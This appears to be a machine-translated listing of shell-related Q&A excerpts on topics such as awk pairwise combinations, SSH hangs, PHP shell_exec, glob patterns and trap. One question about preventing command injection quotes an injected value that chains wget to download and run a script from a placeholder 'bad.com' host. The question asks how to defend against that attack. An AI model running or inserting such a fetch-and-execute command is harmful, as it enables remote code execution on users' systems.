Questions tagged «shell»

Shell是Unix的命令行界面。您可以交互地在外壳程序中键入命令,也可以编写脚本来自动执行任务。使用此标记可解决适用于/ bin / sh和大多数兼容shell(ash,bash,ksh,zsh等)的问题。对于有错误的Shell脚本,请在此处发布之前在http://shellcheck.net中对其进行检查。

9
命令行工具可以“ cat”成对扩展文件中的所有行
假设我有一个看起来像这样的文件(称为sample.txt): Row1,10 Row2,20 Row3,30 Row4,40 我希望能够处理此文件中的流,该流本质上是所有四行的成对组合(因此我们应该最终得到总共16行)。例如,我正在寻找流式(即有效)命令,其输出为: Row1,10 Row1,10 Row1,10 Row2,20 Row1,10 Row3,30 Row1,10 Row4,40 Row2,20 Row1,10 Row1,20 Row2,20 ... Row4,40 Row4,40 我的用例是我想将此输出流式传输到另一个命令(如awk),以计算有关此成对组合的一些度量。 我有一种方法可以在awk中执行此操作,但是我担心的是,我对END {}块的使用意味着我基本上将整个文件存储在内存中,然后再输出。示例代码: awk '{arr[$1]=$1} END{for (a in arr){ for (a2 in arr) { print arr[a] " " arr[a2]}}}' samples/rows.txt Row3,30 Row3,30 Row3,30 Row4,40 Row3,30 Row1,10 Row3,30 Row2,20 Row4,40 …

1
为什么`postgres`需要外壳?
在我的Debian Wheezy系统中,我注意到postgres用户“ postgres”(“ PostgreSQL管理员”)/bin/bash用作shell。但是,我不知道为什么需要这样做。将此更改为/bin/false仍然允许我使用命令psql。 那么,系统用户为何postgres需要外壳,并且必须特别指定外壳/bin/bash?

6
您如何记住命令选项?[关闭]
已关闭。这个问题是基于观点的。它当前不接受答案。 想改善这个问题吗?更新问题,以便通过编辑此帖子以事实和引用的形式回答。 5年前关闭。 我很想知道您使用什么技巧来记住各种命令的选项?一直在查找手册页很费时间,而且也不是很酷!
13 shell  command 

4
奇怪的SSH问题,ssh与-t一起使用,但在没有它的情况下冻结
当我ssh进入其中一台服务器时,它似乎已登录,但是在提示我(message debug2: shell request accepted on channel 0 is the last log entry)之前挂起。 尽管奇怪的是,ssh -t "/bin/bash"什么时候ssh没有起作用。 到目前为止我发现了什么 我可以正常从相同地理位置的服务器正常登录 如果ssh -t '/bin/bash'可以-我可以从任何位置完美登录。 如果我使用rsync 到服务器,它似乎工作,然后锁 如果我rsync 从服务器上使用,它可以正常工作 我尝试过的 删除或更改所有登录选项.profile,.bashrc /etc/profile 从运行正常的同一台服务器上将ssh_config and和(或) 更改sshd_config为一个 我检查了路由 我有一位网络专家进行了检查tcpdump,但无济于事(尽管确实有很多重新传输) 我真的想不到 除了狡猾的网卡驱动程序/固件。
13 shell  ssh  login 


6
Linux Ubuntu上的php shell_exec()权限
我正在使用Linux服务器开发php应用程序。我的问题是执行shell_exec()调用某些exe文件不起作用(实际上不是exe,这是Linux可执行文件) echo shell_exec("whoami"); 我有守护进程 echo shell_exec("ls") 我有一些文件名,但是 echo shell_exec("php -v") 我什么也没有,空白页 echo shell_exec("php ....bla bla bla") 也有一个空白页。 如果我在终端(用户hu)上键入所有这些命令,将可以使用。我已经在Google上搜索了几个小时,有人说是出于允许。我没有Linux经验。我必须怎么做才能在php中执行程序?
13 linux  shell  php  exec 

2
Shell文件名模式,可扩展为点文件,但不扩展为`..`?
最近,我因外壳模式以意外方式扩展而引起了一些意外。我想更改/root目录中一堆点文件的所有者,所以我做了 chown -R root .* 自然地,.*扩展到..那里确实是一场灾难。 我知道bash可以通过调整一些shell选项来更改此行为,但是在默认设置下,是否存在任何模式可以扩展到目录中的每个点文件,但不能扩展为.and ..?

4
管道,{列表;}仅适用于某些程序
对于此类不可预测的行为,需要高级用户的解释: ps -eF | { head -n 1;grep worker; } UID PID PPID C SZ RSS PSR STIME TTY TIME CMD root 441 2 0 0 0 2 paź15 ? 00:00:00 [kworker/2:1H] 一切看起来都不错,而 ls -la / | { head -n 1;grep sbin; } 仅显示来自的输出 head ...我想过stdout 2>&1,对我也不起作用,这很奇怪,没有任何解释或建议如何处理?
13 shell  pipe 

3
如何通过命令选项防止命令注入?
我有一个包装器应用程序,需要让用户指定自定义选项以传递给模拟器。但是,我想确保用户不会通过用户选项注入其他命令。做到这一点的最佳方法是什么? 例如。 用户提供: -a -b 应用程序执行: mysim --preset_opt -a -b 但是,我不希望这种情况发生: 用户提供: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh 应用程序执行: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh 当前,我认为我可以将每个用户提供的选项都用单引号引起来,'并去除用户提供的任何单引号,这样最后一个示例中的命令将变成无害的: mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh' 注意:该mysim命令在docker / lxc容器中作为Shell脚本的一部分执行。我正在运行Ubuntu。

2
如何使用陷阱命令触发错误
我正在使用Ubuntu 12.04.2。我正在尝试使用“ trap”命令捕获外壳脚本中的异常或错误,但是我也试图手动触发“错误”退出。 我尝试退出1,但不会触发“错误”信号。 #!/bin/bash func() { exit 1 } trap "echo hi" INT TERM ERR func 不确定如何手动触发“错误”退出信号?

1
如何为“ efi-shell”创建可启动闪存
当前的英特尔服务器芯片组包括一个内置的“ efi-shell”,它看起来基本上是简化的'NIX,其命令集适用于处理一些精美的UEFI引导选项。 在某些情况下,英特尔的某些固件升级工具现在也需要“ efi-shell”才能运行。 遗憾的是,即使该主板支持UEFI引导,我也没有服务器芯片组。 可以从http://www.sourceforge.net/projects/efi-shell下载efi-shell 。但是,我找不到可启动的ISO或任何其他形式的可启动映像。 我试图制作可引导闪存但unetbootin没有成功。 关于如何使efi-shell副本可引导,以便可以在RAID卡上运行Intel固件升级的任何想法?
13 shell  boot  uefi 

5
如何使用find命令从文件名中删除(1)
我最近在Mac OS 10.7(Lion)上使用XLD将所有FLAC文件转换为44.1 kHz的较低采样率和24位的位深(因为iPhone / iPod不支持高于此的任何东西)。 尽管我告诉XLD改写了以前的所有文件,但XLD (1)在文件末尾附加了一个 some_song.m4a 至 some_song(1).m4a 所以现在我(1)要从我转换的所有FLAC文件中删除该文件。 我知道我可能已经使用某些程序甚至AppleScript重命名了文件,但是我想学习使用老式的命令行方法。 我知道这find . -name *\(1\).m4a将获取所有已转换的FLAC文件。 接下来,我知道我必须做的东西-exec和mv重命名所有找到的文件。但是我不知道是如何保留原始文件名而仅删除(1)。 也许我需要进行一些组正则表达式捕获来存储我不想修改的文件名的一部分?或者也许不可能一齐完成所有操作,而我应该创建一个shell脚本(我做起来不太舒服,但是我愿意尝试一下)。 欢迎任何提示或建议!谢谢!

5
从数据文件中随机绘制一定数量的线
我有一个数据列表,例如 12345 23456 67891 -20000 200 600 20 ... 假设此数据集的大小(即文件行)为N。我想m从此数据文件中随机绘制线条。因此,输出应该是两个文件,一个是包含这些m数据行的文件,另一个是包含数据行的文件N-m。 有没有办法使用Linux命令来做到这一点?

1
我对为什么“ |感到困惑 生成文件中的“ true”与“ ||”具有相同的作用。真正”
我有一个makefile,在删除文件之前要在其中停止服务。如果无法停止该服务,则会在出错时中断。这显然是不需要的,所以我想我会添加|| true但错过了|。进行中: stop service foo | true rm /etc/init/foo.conf 我对为什么这起作用以及正在发生的事情感到困惑。这是否意味着它true是一个应用程序,而不仅仅是关键字?他们是一样的吗?有充分的理由使用| true吗?
13 shell  pipe 


By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.